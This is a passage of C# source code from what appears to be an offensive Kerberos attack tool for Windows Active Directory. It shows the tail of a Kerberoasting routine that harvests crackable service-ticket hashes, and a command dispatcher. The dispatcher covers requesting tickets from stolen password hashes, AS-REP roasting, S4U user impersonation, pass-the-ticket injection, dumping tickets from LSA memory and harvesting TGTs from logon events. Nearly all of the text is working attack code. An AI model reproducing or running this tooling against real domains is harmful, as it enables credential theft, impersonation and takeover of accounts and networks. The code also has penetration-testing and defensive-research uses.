// userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";
// But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
// so this fine-grained filtering is not needed
string userSearchFilter = "";
if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
{
if (String.IsNullOrEmpty(pwdSetAfter))
{
pwdSetAfter = "01-01-1601";
}
if (String.IsNullOrEmpty(pwdSetBefore))
{
pwdSetBefore = "01-01-2100";
}
Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);
try
{
DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
}
catch
{
Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
return;
}
}
else
{
userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
}
if (!String.IsNullOrEmpty(ldapFilter))
{
userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
}
userSearcher.Filter = userSearchFilter;
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
return;
}
try
{
if (resultLimit > 0)
{
userSearcher.SizeLimit = resultLimit;
Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
}
SearchResultCollection users = userSearcher.FindAll();
if (users.Count == 0)
{
Console.WriteLine("\r\n[X] No users found to Kerberoast!");
}
else
{
Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
}
// used to keep track of user encryption types
SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
// used to keep track of years that users had passwords last set in
SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();
foreach (SearchResult user in users)
{
string samAccountName = user.Properties["samAccountName"][0].ToString();
string distinguishedName = user.Properties["distinguishedName"][0].ToString();
string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();
long lastPwdSet = (long)(user.Properties["pwdlastset"][0]);
DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet);
Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
{
supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
}
try
{
if (!userETypes.ContainsKey(supportedETypes))
{
userETypes[supportedETypes] = 1;
}
else
{
userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
}
int year = (int)pwdLastSet.Year;
if (!userPWDsetYears.ContainsKey(year))
{
userPWDsetYears[year] = 1;
}
else
{
userPWDsetYears[year] = userPWDsetYears[year] + 1;
}
}
catch { }
if (!userStats)
{
if (!simpleOutput)
{
Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName);
Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName);
Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName);
Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet);
Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes);
}
if (!String.IsNullOrEmpty(domain))
{
servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
}
if (TGT != null)
{
// if a TGT .kirbi is supplied, use that for the request
// this could be a passed TGT or if TGT delegation is specified
if (String.Equals(supportedEType, "rc4") &&
(
((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
)
)
{
// if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac);
}
else
{
// otherwise don't force RC4 - have all supported encryption types for opsec reasons
GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc);
}
}
else
{
// otherwise use the KerberosRequestorSecurityToken method
GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
}
}
}
if (userStats)
{
var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count");
var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
Console.WriteLine();
// display stats about the users found
foreach (var item in userETypes)
{
eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
}
eTypeTable.Write();
foreach (var item in userPWDsetYears)
{
pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
}
pwdLastSetTable.Write();
}
}
catch (Exception ex)
{
Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
return;
}
}
if (!String.IsNullOrEmpty(outFile))
{
Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
}
}
static void Main(string[] args)
{
Logo();
var arguments = new Dictionary <string, string>();
foreach (string argument in args)
{
int idx = argument.IndexOf(':');
if (idx > 0)
{
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
}
else
{
arguments[argument] = "";
}
}
if (arguments.ContainsKey("asktgt"))
{
string user = "";
string domain = "";
string hash = "";
string dc = "";
bool ptt = false;
uint luid = 0;
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
return;
}
if (arguments.ContainsKey("/show"))
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
}
else
{
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
}
Console.WriteLine();
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
{
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
return;
}
else
{
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
return;
}
}
if (arguments.ContainsKey("asktgs"))
{
bool ptt = false;
string dc = "";
string service = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
else
{
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
return;
}
}
if (arguments.ContainsKey("renew"))
{
bool ptt = false;
string dc = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
if (arguments.ContainsKey("/autorenew"))
{
// if we want to auto-renew the TGT up until the renewal limit
Renew.TGTAutoRenew(kirbi, dc);
}
else
{
// otherwise a single renew operation
byte[] blah = Renew.TGT(kirbi, ptt, dc);
}
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
return;
}
}
if (arguments.ContainsKey("s4u"))
{
string targetUser = "";
string targetSPN = "";
string altSname = "";
string user = "";
string domain = "";
string hash = "";
bool ptt = false;
string dc = "";
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/rc4"))
{
hash = arguments["/rc4"];
encType = Interop.KERB_ETYPE.rc4_hmac;
}
if (arguments.ContainsKey("/aes256"))
{
hash = arguments["/aes256"];
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
}
if (arguments.ContainsKey("/impersonateuser"))
{
targetUser = arguments["/impersonateuser"];
}
if (arguments.ContainsKey("/msdsspn"))
{
targetSPN = arguments["/msdsspn"];
}
if (arguments.ContainsKey("/altservice"))
{
altSname = arguments["/altservice"];
}
if (String.IsNullOrEmpty(targetUser))
{
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
return;
}
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else if (arguments.ContainsKey("/user"))
{
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
user = arguments["/user"];
if (String.IsNullOrEmpty(hash))
{
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
return;
}
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
return;
}
}
if (arguments.ContainsKey("ptt"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
LSA.ImportTicket(kirbiBytes, luid);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
return;
}
}
if (arguments.ContainsKey("purge"))
{
uint luid = 0;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
}
LSA.Purge(luid);
}
else if (arguments.ContainsKey("kerberoast"))
{
string spn = "";
string user = "";
string OU = "";
if (arguments.ContainsKey("/spn"))
{
spn = arguments["/spn"];
}
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/ou"))
{
OU = arguments["/ou"];
}
if (arguments.ContainsKey("/creduser"))
{
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
return;
}
string[] parts = arguments["/creduser"].Split('\\');
string domainName = parts[0];
string userName = parts[1];
if (!arguments.ContainsKey("/credpassword"))
{
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
return;
}
string password = arguments["/credpassword"];
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
Roast.Kerberoast(spn, user, OU, cred);
}
else
{
Roast.Kerberoast(spn, user, OU);
}
}
else if (arguments.ContainsKey("asreproast"))
{
string user = "";
string domain = "";
string dc = "";
string format = "john";
if (arguments.ContainsKey("/user"))
{
user = arguments["/user"];
}
if (arguments.ContainsKey("/domain"))
{
domain = arguments["/domain"];
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/format"))
{
format = arguments["/format"];
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
return;
}
if (String.IsNullOrEmpty(domain))
{
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
}
if (String.IsNullOrEmpty(dc))
{
Roast.ASRepRoast(user, domain, "", format);
}
else
{
Roast.ASRepRoast(user, domain, dc, format);
}
}
else if (arguments.ContainsKey("dump"))
{
if (arguments.ContainsKey("/luid"))
{
string service = "";
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
UInt32 luid = 0;
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
LSA.ListKerberosTicketData(luid, service);
}
else if (arguments.ContainsKey("/service"))
{
LSA.ListKerberosTicketData(0, arguments["/service"]);
}
else
{
LSA.ListKerberosTicketData();
}
}
else if (arguments.ContainsKey("tgtdeleg"))
{
if (arguments.ContainsKey("/target"))
{
LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
LSA.RequestFakeDelegTicket();
}
}
else if (arguments.ContainsKey("monitor"))
{
string targetUser = "";
int interval = 60;
if (arguments.ContainsKey("/filteruser"))
{
targetUser = arguments["/filteruser"];
}
if (arguments.ContainsKey("/interval"))
{
interval = Int32.Parse(arguments["/interval"]);
}
Harvest.Monitor4624(interval, targetUser);
}
else if (arguments.ContainsKey("harvest"))
{
int intervalMinutes = 60;
if (arguments.ContainsKey("/interval"))
{
intervalMinutes = Int32.Parse(arguments["/interval"]);
}
Harvest.HarvestTGTs(intervalMinutes);
}
else if (arguments.ContainsKey("describe"))
{
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
return;
}
}
else if (arguments.ContainsKey("createnetonly"))
{
if (arguments.ContainsKey("/program"))
{
if (arguments.ContainsKey("/show"))
{
LSA.CreateProcessNetOnly(arguments["/program"], true);
}
else
{
LSA.CreateProcessNetOnly(arguments["/program"]);
}
}
else
{
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
}
}
else
{
Usage();
}
}